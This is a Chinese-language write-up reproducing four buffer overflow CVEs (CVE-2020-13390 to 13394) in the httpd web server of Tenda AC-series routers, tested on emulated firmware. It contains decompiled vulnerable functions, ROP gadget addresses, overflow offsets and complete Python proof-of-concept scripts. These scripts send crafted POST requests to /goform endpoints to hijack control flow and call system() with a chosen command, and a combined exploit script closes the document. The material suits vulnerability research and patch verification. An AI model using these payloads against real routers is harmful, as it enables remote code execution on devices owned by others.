CVE-2020-13394 | An issue was discovered on Tenda AC6 V1.0 V15.03.05.19_multi_TD01, AC9 V1.0 V15.03.05.19(6318)_CN, AC9 V3.0 V15.03.06.42_multi, AC15 V1.0 V15.03.05.19_multiTD01, and AC18 V15.03.05.19(6318)_CN devices. There is a buffer overflow vulnerability in the router's web server -- httpd. While processing the /goform/SetNetControlList list parameter for a POST request, a value is directly used in a strcpy to a local variable placed on the stack, which overwrites the return address of a function. An attacker can construct a payload to carry out arbitrary code execution attacks. |
---|---|
CVE-2020-13392 | An issue was discovered on Tenda AC6 V1.0 V15.03.05.19_multi_TD01, AC9 V1.0 V15.03.05.19(6318)_CN, AC9 V3.0 V15.03.06.42_multi, AC15 V1.0 V15.03.05.19_multiTD01, and AC18 V15.03.05.19(6318)_CN devices. There is a buffer overflow vulnerability in the router's web server -- httpd. While processing the /goform/setcfm funcpara1 parameter for a POST request, a value is directly used in a sprintf to a local variable placed on the stack, which overwrites the return address of a function. An attacker can construct a payload to carry out arbitrary code execution attacks. |
CVE-2020-13391 | An issue was discovered on Tenda AC6 V1.0 V15.03.05.19_multi_TD01, AC9 V1.0 V15.03.05.19(6318)_CN, AC9 V3.0 V15.03.06.42_multi, AC15 V1.0 V15.03.05.19_multiTD01, and AC18 V15.03.05.19(6318)_CN devices. There is a buffer overflow vulnerability in the router's web server -- httpd. While processing the /goform/SetSpeedWan speed_dir parameter for a POST request, a value is directly used in a sprintf to a local variable placed on the stack, which overwrites the return address of a function. An attacker can construct a payload to carry out arbitrary code execution attacks. |
CVE-2020-13390 | An issue was discovered on Tenda AC6 V1.0 V15.03.05.19_multi_TD01, AC9 V1.0 V15.03.05.19(6318)_CN, AC9 V3.0 V15.03.06.42_multi, AC15 V1.0 V15.03.05.19_multiTD01, and AC18 V15.03.05.19(6318)_CN devices. There is a buffer overflow vulnerability in the router's web server -- httpd. While processing the /goform/addressNat entrys and mitInterface parameters for a POST request, a value is directly used in a sprintf to a local variable placed on the stack, which overwrites the return address of a function. An attacker can construct a payload to carry out arbitrary code execution attacks. |
这4个TendaCVE都是同一个程序的缓冲区溢出漏洞,本文是基于US_AC15V1.0BR_V15.03.05.19_multi_TD01固件版本进行分析复现的。
固件可在github下载:https://github.com/Snowleopard-bin/pwn/tree/master/IOT/Tenda_CVE-2018-16333
╰─➤ ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3 0x00018298 : pop {r3, pc} #gadget1 ╰─➤ ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp" 0x00040cb8 : mov r0, sp ; blx r3 #gadget2
利用过程:
安装qemu-user-static
sudo apt install qemu-user-static
安装完成后将qemu-arm-static赋值到文件系统目录squashfs-root下,启动httpd服务
cp $(which qemu-arm-static) ./qemu sudo chroot ./ ./qemu ./bin/httpd
漏洞的成因是web服务在处理post请求时,对list参数没有进行检查直接复制到栈上的一个局部变量中可导致栈溢出。定位到formSetQosBand函数。
//formSetQosBand list = (char *)sub_2BA8C(a1, (int)"list", (int)&unk_E250C); sub_7DD20(list, (int)"bandwidth.mode", 0xAu); int __fastcall sub_7DD20(char *list, int a2, unsigned __int8 a3) { char dest; // [sp+5CCh] [bp-260h] char *src; // [sp+81Ch] [bp-10h] list_1 = list; c = a3; memset(&s, 0, 0x40u); memset(&dest, 0, 0x100u); sub_7DB3C(v4); src = list_1; while ( 1 ) { v58 = strchr(src, c); if ( !v58 ) break; v59 = 0; *v58++ = 0; memset(&dest, 0, 0x100u); strcpy(&dest, src);
程序直接将list参数使用strcpy函数复制到栈变量dest中,容易造成栈溢出。
在qemu用户级调试中能看到调用了system(cmd)就能说明成功完成漏洞利用了。
poc如下:
import requests from pwn import * cmd="echo hello" ''' qemu-user ''' libc_base = 0xf659c000 ''' qemu-system libc_base = 0x76dab000 dosystemcmd = 0x76f930f0 ''' system = libc_base + 0x5A270 readable_addr = libc_base + 0x64144 mov_r0_ret_r3 = libc_base + 0x40cb8 pop_r3 = libc_base + 0x18298 payload = 'a'*0x260 payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd url = "http://192.168.198.140/goform/SetNetControlList" cookie = {"Cookie":"password=12345"} data = {"list": payload} response = requests.post(url, cookies=cookie, data=data) response = requests.post(url, cookies=cookie, data=data) print(response.text)
漏洞的成因是web服务在处理post请求时,对funcpara1参数没有进行检查直接复制到栈上的一个局部变量中可导致栈溢出。定位到formSetCfm函数。
//formSetCfm v17 = (char *)sub_2BA8C(v2, (int)"funcname", (int)&unk_DFA30); if ( *v17 ) { if ( !strcmp(v17, "save_list_data") ) { funcpara1 = sub_2BA8C(v2, (int)"funcpara1", (int)&unk_DFA30); funcpara2 = (char *)sub_2BA8C(v2, (int)"funcpara2", (int)&unk_DFA30); sub_4EC58((int)funcpara1, funcpara2, '~'); } } //sub_4EC58 char s; // [sp+11Ch] [bp-58h] char *v10; // [sp+15Ch] [bp-18h] int v11; // [sp+160h] [bp-14h] char *v12; // [sp+164h] [bp-10h] memset(&s, 0, 0x40u); sprintf(&s, "%s.listnum", v6); SetValue(&s, "0"); memset(&s, 0, 0x40u); memset(&v8, 0, 0x100u); sprintf(&s, "%s.list%d", v6, ++v11); result = GetValue((int)&s, (int)&v8);
在当解析到存在参数funcname为save_list_data时,就会解析提交的表单中的funcpara1参数,在sub_4EC58函数中使用sprintf函数直接将该参数复制到栈缓冲区中。并且因为参数funcpara1后面会接上.list字符串,因此在指定命令后面需要添加分号;
payload如下:
payload = 'a'*0x58 payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd +';' url = "http://192.168.198.140/goform/setcfm" cookie = {"Cookie":"password=12345"} data = {"funcname": 'save_list_data','funcpara1':payload}
漏洞的成因是web服务在处理post请求时,对speed_dir参数没有进行检查直接复制到栈上的一个局部变量中可导致栈溢出。定位到formSetSpeedWan函数。
//formSetSpeedWan char s[32]; // [sp+30h] [bp-3Ch] void *v12; // [sp+50h] [bp-1Ch] char *v13; // [sp+54h] [bp-18h] char *speed_dir; // [sp+58h] [bp-14h] int v15; // [sp+5Ch] [bp-10h] speed_dir = sub_2BA8C(a1, "speed_dir", "0"); v13 = sub_2BA8C(v2, "ucloud_enable", "0"); v12 = sub_2BA8C(v2, "password", "0"); GetValue("speedtest.flag", &nptr); sprintf(s, "{\"errCode\":%d,\"speed_dir\":%s}", v15, speed_dir);
解析speed_dir参数后,使用sprintf函数,将speed_dir与{"errCode":0,"speed_dir":%s}格式化字符串拼接起来赋值给栈变量。用户可控的空间在栈变量s偏移为25以后,而溢出偏移为0x3c,需要填充的字符数为35。
payload如下:
payload = 'a'*35 payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd +';' url = "http://192.168.198.140/goform/SetSpeedWan" cookie = {"Cookie":"password=12345"} data = {'speed_dir':payload} response = requests.post(url, cookies=cookie, data=data) response = requests.post(url, cookies=cookie, data=data) print(response.text)
漏洞的成因是web服务在处理post请求时,对entrys和mitInterface参数没有进行检查直接复制到栈上的一个局部变量中可导致栈溢出。定位到fromAddressNat函数。
//fromAddressNat char s; // [sp+114h] [bp-318h] char v7; // [sp+314h] [bp-118h] void *v8; // [sp+414h] [bp-18h] void *v9; // [sp+418h] [bp-14h] void *v10; // [sp+41Ch] [bp-10h] v4 = a1; memset(&v5, 0, 0x100u); entrys = sub_2BA8C(v4, "entrys", &unk_E5D48); mitInterface = sub_2BA8C(v4, "mitInterface", &unk_E5D48); sprintf(&s, "%s;%s", entrys, mitInterface);
程序解析entrys和mitInterface参数后直接使用sprintf函数赋值到栈变量s中,容易造成栈溢出。
payload如下:
padding = 'b'*(0x318-1) payload = '' payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd url = "http://192.168.198.140/goform/addressNat" cookie = {"Cookie":"password=12345"} data = {'entrys':padding, 'mitInterface':payload}
汇总一下以上4个CVE的对应的qemu用户级调试的poc
import requests from pwn import * cmd="echo hello" ''' qemu-user ''' libc_base = 0xf659c000 ''' qemu-system libc_base = 0x76dab000 dosystemcmd = 0x76f930f0 ''' system = libc_base + 0x5A270 readable_addr = libc_base + 0x64144 mov_r0_ret_r3 = libc_base + 0x40cb8 pop_r3 = libc_base + 0x18298 padding = 'b'*(0x318-1) payload = '' payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd url = "http://192.168.198.140/goform/addressNat" cookie = {"Cookie":"password=12345"} data = {'entrys':padding, 'mitInterface':payload} response = requests.post(url, cookies=cookie, data=data) response = requests.post(url, cookies=cookie, data=data) print(response.text) ''' # CVE-2020-13394 payload = 'a'*0x260 payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd url = "http://192.168.198.140/goform/SetNetControlList" cookie = {"Cookie":"password=12345"} data = {"list": payload} # CVE-2020-13392 payload = 'a'*0x58 payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd +';' url = "http://192.168.198.140/goform/setcfm" cookie = {"Cookie":"password=12345"} data = {"funcname": 'save_list_data','funcpara1':payload} # CVE-2020-13391 payload = 'a'*35 payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd +';' url = "http://192.168.198.140/goform/SetSpeedWan" cookie = {"Cookie":"password=12345"} data = {'speed_dir':payload} # CVE-2020-13390 padding = 'b'*(0x318-1) payload = '' payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd url = "http://192.168.198.140/goform/addressNat" cookie = {"Cookie":"password=12345"} data = {'entrys':padding, 'mitInterface':payload} '''
另外提一下CVE-2020-13393和CVE-2020-13389,在CVE描述中,漏洞成因都是栈溢出,但是经过分析,它们其实是堆溢出,不能直接套poc的模板覆盖返回返回地址。